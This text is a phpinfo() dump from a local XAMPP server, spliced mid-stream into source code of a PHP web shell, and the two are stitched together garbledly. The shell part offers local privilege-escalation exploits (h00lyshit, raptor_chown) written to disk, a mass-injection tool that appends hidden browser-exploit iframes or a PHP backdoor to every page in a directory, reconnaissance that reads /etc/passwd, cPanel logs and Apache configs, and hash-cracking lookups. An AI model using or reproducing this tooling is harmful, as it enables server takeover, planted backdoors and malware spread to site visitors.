pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000

PDO

PDO supportenabled
PDO drivers mysql, pgsql, sqlite

pdo_mysql

PDO Driver for MySQLenabled
Client API version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
DirectiveLocal ValueMaster Value
pdo_mysql.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock

pdo_pgsql

PDO Driver for PostgreSQLenabled
PostgreSQL(libpq) Version 9.2.4
Module version 7.2.12
Revision $Id: 9c5f356c77143981d2e905e276e439501fe0f419 $

pdo_sqlite

PDO Driver for SQLite 3.xenabled
SQLite Library 3.7.17

Phar

Phar: PHP Archive supportenabled
Phar EXT version 2.0.2
Phar API version 1.1.1
SVN revision $Id: 11c9d270a69dbd9589cbea10a0ad9731a286a147 $
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression enabled
OpenSSL support enabled
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn

posix

Revision $Id: 0a764bab332255746424a1e6cfbaaeebab998e4c $

Reflection

Reflectionenabled
Version $Id: f1096fbe817b0413895286a603375570e78fb553 $

session

Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary wddx
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability11
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/opt/lampp/temp//opt/lampp/temp/
session.serialize_handlerphpphp
session.sid_bits_per_character44
session.sid_length3232
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00

shmop

shmop support enabled

SimpleXML

Simplexml supportenabled
Revision $Id: 341daed0ee94ea8f728bfd0ba4626e6ed365c0d1 $
Schema support enabled

soap

Soap Client enabled
Soap Server enabled
DirectiveLocal ValueMaster Value
soap.wsdl_cache11
soap.wsdl_cache_dir/tmp/tmp
soap.wsdl_cache_enabled11
soap.wsdl_cache_limit55
soap.wsdl_cache_ttl8640086400

sockets

Sockets Support enabled

SPL

SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException

sqlite3

SQLite3 supportenabled
SQLite3 module version 7.2.12
SQLite Library 3.7.17
DirectiveLocal ValueMaster Value
sqlite3.extension_dirno valueno value

standard

Dynamic Library Support enabled
Path to sendmail -t -i
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
url_rewriter.hostsno valueno value
url_rewriter.tagsa=href,area=href,frame=src,input=src,form=fakeentrya=href,area=href,frame=src,input=src,form=fakeentry
user_agentno valueno value

sysvsem

Version 7.2.12

sysvshm

Version 7.2.12

tokenizer

Tokenizer Support enabled

wddx

WDDX Supportenabled
WDDX Session Serializer enabled

xml

XML Support active
XML Namespace Support active
libxml2 Version 2.9.4

xmlreader

XMLReader enabled

xmlrpc

core library version xmlrpc-epi v. 0.51
php extension version 7.2.12
author Dan Libby
homepage http://xmlrpc-epi.sourceforge.net
open sourced by Epinions.com

xmlwriter

XMLWriter enabled

xsl

XSL enabled
libxslt Version 1.1.29
libxslt compiled against libxml Version 2.9.4
EXSLT enabled
libexslt Version 1.1.29

zip

Zip enabled
Zip version 1.15.4
Libzip version 1.1.2

zlib

ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value

Additional Modules

Module Name

Environment

VariableValue
SUDO_GID 1000
MAIL /var/mail/root
USER root
LANGUAGE en_US
LC_TIME sv_SE.UTF-8
TEXTDOMAIN xampp
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SHLVL 1
HOME /home/beneri
de false
GETTEXT /opt/lampp/bin/gettext
LC_MONETARY sv_SE.UTF-8
COLORTERM truecolor
SUDO_UID 1000
LOGNAME root
_ /opt/lampp/bin/apachectl
USERNAME root
TERM xterm-256color
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LC_ADDRESS sv_SE.UTF-8
DISPLAY :0
LANG en_US.UTF-8
LC_TELEPHONE sv_SE.UTF-8
LS_COLORS rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XAUTHORITY /home/beneri/.Xauthority
SUDO_COMMAND /opt/lampp/lampp start
XAMPP_OS Linux
LC_NAME sv_SE.UTF-8
SHELL /bin/bash
SUDO_USER root
LC_MEASUREMENT sv_SE.UTF-8
LC_IDENTIFICATION sv_SE.UTF-8
XAMPP_ROOT /opt/lampp
PWD /home/beneri
LC_NUMERIC sv_SE.UTF-8
LC_PAPER sv_SE.UTF-8

PHP Variables

VariableValue
$_SERVER['UNIQUE_ID']YDlOkssB3wvo4Pi5fDI0rwAAAAA
$_SERVER['HTTP_HOST']localhost
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
$_SERVER['HTTP_ACCEPT']text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US,en;q=0.5
$_SERVER['HTTP_ACCEPT_ENCODING']gzip, deflate
$_SERVER['HTTP_CONNECTION']keep-alive
$_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']1
$_SERVER['HTTP_CACHE_CONTROL']max-age=0
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['LD_LIBRARY_PATH']/opt/lampp/lib:/opt/lampp/lib
$_SERVER['SERVER_SIGNATURE']no value
$_SERVER['SERVER_SOFTWARE']Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
$_SERVER['SERVER_NAME']localhost
$_SERVER['SERVER_ADDR']127.0.0.1
$_SERVER['SERVER_PORT']80
$_SERVER['REMOTE_ADDR']127.0.0.1
$_SERVER['DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['REQUEST_SCHEME']http
$_SERVER['CONTEXT_PREFIX']no value
$_SERVER['CONTEXT_DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['SERVER_ADMIN']you@example.com
$_SERVER['SCRIPT_FILENAME']/opt/lampp/htdocs/test.php
$_SERVER['REMOTE_PORT']35610
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['REQUEST_METHOD']GET
$_SERVER['QUERY_STRING']no value
$_SERVER['REQUEST_URI']/test.php
$_SERVER['SCRIPT_NAME']/test.php
$_SERVER['PHP_SELF']/test.php
$_SERVER['REQUEST_TIME_FLOAT']1614368402.139
$_SERVER['REQUEST_TIME']1614368402

PHP Credits

PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
InterBase Jouni Ahto, Andrew Avdeev, Ard Biesheuvel
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Recode Kristian Koehntopp
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
WDDX Andrei Zmievski
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

; GNYexit();} if ($act == 'phpinfo') {echo '<iframe src ="?act=phpinfoframe"height="100%"width="100%"></iframe>';} if ($act == 'exploit') {echo '<iframe src ="'.$millink.'"height="300"width="100%"></iframe><br /><br /><iframe src ="'.$stormlink.'"height="300"width="100%"></iframe>';}if ($act == 'exploits') {Exploits:

All exploits are pre-compiled. Just follow the directions.

h00lyshit - Local Race Exploit
<input type=hidden name="act" value="exploits"><input type=hidden name="sploit" value="h00lyshit">Path to extract to: <input type=text name="path" value=" echo $d; "> (must have final /)
<input type=submit value="Create">
if ($_GET['sploit'] == 'h00lyshit') { if (is_writable($_GET['path'])) { cf($_GET['path'].'h00lyshit', $h00lyshit); echo '<font color=green>h00lyshit was created in '.htmlentities($_GET['path']).'</font>'; chmod($_GET['path'].'/h00lyshit', 0777); }else{ echo '<font color=red>Directory is not writable!
</font>'; } } // end if h00lyshit was called

raptor_chown - Group Modification Exploit
<input type=hidden name="act" value="exploits"><input type=hidden name="sploit" value="raptorchown">Path to extract to: <input type=text name="path" value=" echo $d; "> (must have final /)
<input type=submit value="Create">
if ($_GET['sploit'] == 'raptorchown') { if (is_writable($_GET['path'])) { cf($_GET['path'].'raptor_chown', $raptorchown); echo '<font color=green>raptor_chown was created in '.htmlentities($_GET['path']).'</font>'; chmod($_GET['path'].'/raptor_chown', 0777); }else{ echo '<font color=red>Directory is not writable!</font>
'; } } // end if raptor_chown was called} // end if exploits is calledif ($act == 'massbrowsersploit') {Mass Code Injection:

Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.

<input type=hidden name="masssploit" value="goahead"><input type=hidden name="act" value="massbrowsersploit"><table border=0>Dir to inject: <input type=text size=50 name="pathtomass" value=" echo realpath('.'); "> <-- default is dir this shell is inCode to inject: <textarea name="injectthis" cols=50 rows=4> echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); </textarea> <-- best bet would be to include an invisible iframe of browser exploits<input type=submit value="Inject Code">
if ($_GET['masssploit'] == 'goahead') { if (is_dir($_GET['pathtomass'])) { $lolinject = $_GET['injectthis']; foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo '<font color=green>'.$injectj00.' was injected
</font>'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo '<font color=red>'.$_GET['pathtomass'].' is not available!</font>'; } // end if inputted dir is real, for real this time} // end if confirmation to mass sploit is go//new php backdoorMass Code Injection:

Use this to add PHP to the end of every .php page in the directory specified.

<input type=hidden name="masssploit" value="php"><input type=hidden name="act" value="massbrowsersploit"><table border=0>Dir to inject: <input type=text size=50 name="pathtomass" value=" echo realpath('.'); "> <-- default is dir this shell is inCode to inject: <textarea name="injectthis" cols=50 rows=4> echo htmlspecialchars(' if ($_GET["x"] == "lul") { /*code*/; } '); </textarea><input type=submit value="Inject Code">
if ($_GET['masssploit'] == 'php') { if (is_dir($_GET['pathtomass'])) { $lolinject = $_GET['injectthis']; foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo '<font color=green>'.$injectj00.' was injected
</font>'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo '<font color=red>'.$_GET['pathtomass'].' is not available!</font>'; } // end if inputted dir is real, for real this time} // end if confirmation to mass sploit is php only} // end if massbrowsersploit is calledif ($act == 'security'){ echo "
Server security information:
Open base dir: ".$hopenbasedir."
"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
<input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\">From:&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;To:&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\">

"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; echo join(":",$uid)."
"; } $i++; } } else {echo "
<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><u>Get /etc/passwd</u></a>
";} if (file_get_contents("/etc/userdomains")) {echo "<font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u>View cpanel user-domains logs</u></a></font>
";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "<font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u>View cpanel logs</u></a></font>
";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u>Apache configuration (httpd.conf)</u></a></font>
";} if (file_get_contents("/etc/httpd.conf")) {echo "<font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u>Apache configuration (httpd.conf)</u></a></font>
";} if (file_get_contents("/etc/syslog.conf")) {echo "<font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u>Syslog configuration (syslog.conf)</u></a></font>
";} if (file_get_contents("/etc/motd")) {echo "<font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u>Message Of The Day</u></a></font>
";} if (file_get_contents("/etc/hosts")) {echo "<font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u>Hosts</u></a></font>
";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
";}} displaysecinfo("OS Version?",myshellexec("cat /proc/version")); displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); displaysecinfo("Is cURL installed?",myshellexec("which curl")); displaysecinfo("Is lynx installed?",myshellexec("which lynx")); displaysecinfo("Is links installed?",myshellexec("which links")); displaysecinfo("Is fetch installed?",myshellexec("which fetch")); displaysecinfo("Is GET installed?",myshellexec("which GET")); displaysecinfo("Is perl installed?",myshellexec("which perl")); displaysecinfo("Where is apache",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("locate my.conf",myshellexec("locate my.conf")); displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); } else {exec('systeminfo', $wininfo);
DOS command: systeminfo
<textarea cols=125 rows= echo count($wininfo); >if ($wininfo) { foreach($wininfo as $row) echo $row."\n";} else { // if systeminfo failed echo 'Couldn\'t execute command!';}</textarea> }} if ($act == 'mkfile') { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,'w')) {echo 'Make File "'.htmlspecialchars($mkfile).'": access denied';} else {$act = 'f'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = 'ls';} } if ($act == 'encoder'){ echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>
Encoder:
<input type=hidden name=act value=encoder>Input:
<textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea>

<input type=submit value=\"calculate\">

Hashes:
"; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly>
"; } echo "
Url:

urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
Base64:
base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>
"; echo "
base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">^</a>"; } echo "

Base convertations:
dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; $c = strlen($encoder_input); for($i=0;$i<$c;$i++) { $hex = dechex(ord($encoder_input[$i])); if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} } echo "\" readonly>
";


<table border=0 align=center cellpadding=4>
Search MD5Crack for MD5 hash
Search md5encryption.com for MD5 or SHA1 hash
Search CsTeam for MD5 hash
Search GData for MD5 hash
<input type=text size=40 name=hash> <input type=submit value="Submit">
<input type=text size=40 name=hash2word> <input type=submit value="Submit">
